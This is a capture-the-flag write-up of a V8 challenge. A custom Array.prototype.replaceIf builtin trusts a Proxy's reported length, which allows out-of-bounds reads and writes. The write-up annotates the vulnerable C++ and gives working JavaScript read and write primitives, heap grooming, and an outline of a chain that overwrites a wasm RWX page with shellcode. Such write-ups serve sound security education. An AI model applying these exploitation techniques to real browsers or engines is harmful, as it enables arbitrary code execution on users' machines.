0x00 Overview

In this challenge, a new native function Array.prototype.replaceIf has been implemented, which is used to replace the element of given index with a new value if the callback function returns true. In C++ implementation of this function, when given receiver(this argument) is a Proxy, it would optimize and fetch the array target inside the proxy to access the element, but will still use the length obtained from Proxy, which can cause out-of-bound access. We can use the OOB to leak the address of web assembly RWX page, rewrite the kBackingOffset of ArrayBuffer, and write shellcode to execute arbitrary code.

0x01 Usage

The new native function can be used as below.

// array.replaceIf(idx, callback, newValue)
d8> a = [1,2,3]
[1, 2, 3]
d8> a.replaceIf(1, (e)=>e===1, 1337)
false
d8> a
[1, 2, 3]
d8> a.replaceIf(1, (e)=>e===2, 1337)
true
d8> a
[1, 1337, 3]

0x02 Implementation

The implementation of the new function can be found in csaw.patch.

BUILTIN(ArrayReplaceIf) {
  HandleScope scope(isolate);

  // There must be at least 4 arguments
  // including `this` argument
  if (args.length() < 4)
    return isolate->heap()->ToBoolean(false);
  

  // 1. Let O be ? ToObject(this value).
  // args.receiver() is the `this` argument
  // this loads the `this` argument to `receiver`
  Handle<JSReceiver> receiver;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, receiver,
      Object::ToObject(isolate, args.receiver(), "Array.prototype.replaceIf"));

  // 2. Let len be ? ToLength(? Get(O, "length")).
  // this loads array length to `raw_length_number`
  // note that `receiver` here can be any object including Proxy
  // which means the length here is controllable
  int length;
  Handle<Object> raw_length_number;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, raw_length_number,
      Object::GetLengthFromArrayLike(isolate, receiver));

  // convert the length to C++ `int` primitive
  if (!ClampedToInteger(isolate, *raw_length_number, &length))
    return isolate->heap()->ToBoolean(false);

  // 3. Let index be ? ToInteger(arg[1])
  // args[1] is `idx` argument
  // convert the index to C++ `int` primitive
  int index;
  if (!ClampedToInteger(isolate, args[1], &index))
    return isolate->heap()->ToBoolean(false);

  // 4. Ensure index is less than length
  // if the length comes from Proxy 
  // and is larger than real array length
  // we can bypass this check even if `index >= real length`
  if (index >= length)
    return isolate->heap()->ToBoolean(false);

  // 5. Ensure arg[2] is callable
  // args[2] is `callback` argument
  if (!args[2]->IsCallable())
    return isolate->heap()->ToBoolean(false);

  // convert `callback` to Handle
  Object* func_obj = args[2];
  Handle<Object> func(&func_obj);

  // 6. If IsProxy(O), let A be ToProxy(O).target(), else let A be O
  // This is done for performance reasons. Proxied arrays would normally
  // take the slow path, we bypass this to take the fast path
  // this is problematic, 
  // because array length obtained comes from Proxy
  // instead of the array target inside this Proxy
  // which does not have to be same as the real array length
  Handle<JSReceiver> array_object;
  if (receiver->IsJSProxy()) {
    Handle<JSProxy> proxy = Handle<JSProxy>::cast(receiver);
    Handle<JSReceiver> obj(JSReceiver::cast(proxy->target()), isolate);
    array_object = obj;
  } else {
    array_object = receiver;
  }

  // 7. Check if fast path can be taken
  // this will be true if `array_object` is a normal array like [1.1]
  bool fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0);

  // 8. Let E be ? Get(A, index)
  Handle<Object> element;
  if (fast) {
    // Fast path (packed elements)
    Handle<JSArray> array = Handle<JSArray>::cast(array_object);
    ElementsAccessor* accessor = array->GetElementsAccessor();
    element = accessor->Get(array, index);
    // OOB read here if index>=length, 
    // which can be resulted through manipulating Proxy
  } else {
    // Slow path, not related to vulnerability
    Handle<String> index_str = isolate->factory()->NumberToString(
        isolate->factory()->NewNumber(index));

    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, element,
        Object::GetPropertyOrElement(isolate, array_object, index_str));
  }

  // 9. Let S be ? arg[2](E)
  // call the callback function 
  // using the retrieved element as argument
  // and assign the return value to raw_should_replace 
  Handle<Object> argv[] = {element};
  Handle<Object> raw_should_replace;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
    isolate, raw_should_replace,
    Execution::Call(isolate, func, receiver, 1, argv));

  // convert `raw_should_replace` to 
  // `should_replace` C++ `bool` primitive
  bool should_replace = raw_should_replace->BooleanValue(isolate);

  // 10. If !S, return false
  if (!should_replace)
      return isolate->heap()->ToBoolean(false);

  // 11. Let len be ? ToLength(? Get(O, "length")).
  // We check again to account for changes during the jscall
  // obtain the length again, 
  // which is same as the previous one
  // thus the length obtained can still come from Proxy
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, raw_length_number,
      Object::GetLengthFromArrayLike(isolate, receiver));

  if (!ClampedToInteger(isolate, *raw_length_number, &length))
    return isolate->heap()->ToBoolean(false);

  // 12. Ensure index is less than length
  // still can be bypassed, for the same reason
  if (index >= length)
    return isolate->heap()->ToBoolean(false);

  // 13. Check if fast path can be taken
  // We check again to account for changes during the jscall
  fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0);

  // 14. Set(O, index, arg[3])
  if (fast) {
    // Fast path (packed elements)
    Handle<JSArray> array = Handle<JSArray>::cast(array_object);
    ElementsAccessor* accessor = array->GetElementsAccessor();
    accessor->Set(array, index, args[3]);
    // therefore, for the same reason, here is an OOB write
  } else {
    // Slow path
    Handle<String> index_str = isolate->factory()->NumberToString(
        isolate->factory()->NewNumber(index));
    Handle<Object> new_obj(&args[3]);
    RETURN_FAILURE_ON_EXCEPTION(
        isolate,
        Object::SetPropertyOrElement(isolate, array_object, index_str, new_obj, LanguageMode::kStrict));
  }

  return isolate->heap()->ToBoolean(true);
}

0x03 Exploitation

Understanding the vulnerability, we can write the oobRead and oobWrite function.

const handler1 = {
	get: function(target, prop, receiver)
	{
		if (prop === 'length') {
			return 0x1000;
		} else {
			return target[prop];
		}
	}
};
var a = [1.1];
var p = new Proxy(a, handler1);
function oobRead(idx)
{
	var ret;
	Array.prototype.replaceIf.call(p, idx,
		function(element){ret=element;return false;}, 1);
	// the element passed into callback function
	// will be an OOB read
	return ret;
}
function oobWrite(idx, val)
{
	Array.prototype.replaceIf.call(p, idx, ()=>true, u2d(val));
	// let callback return true,
	// so `val` will be written to float64 array
}

Then we need to try to leak the RWX page address of web assembly and write shellcode on it. The idea is to allocate ArrayBuffer and Object instances just after the array so that the OOB can access fields in these instances.

const arrs = [];
const abs = [];
var a = [1.1];
// the array used for OOB accessing
dp(a);

for (var i = 0; i < 0x10; i++)
{
	abs.push(new ArrayBuffer(0x100+i));
	// size can be used to identify the index
	arrs.push({a:0xdead, b:0xbeef, d:wmain})
}
// allocate ArrayBuffer and Objects just after [1.1]

Then we can leak address of wmain by looking for 0xdead00000000 and 0xbeef00000000, and rewrite kBackingOffset field in ArrayBuffer to achieve arbitrary memory read and write. The full exploit is here.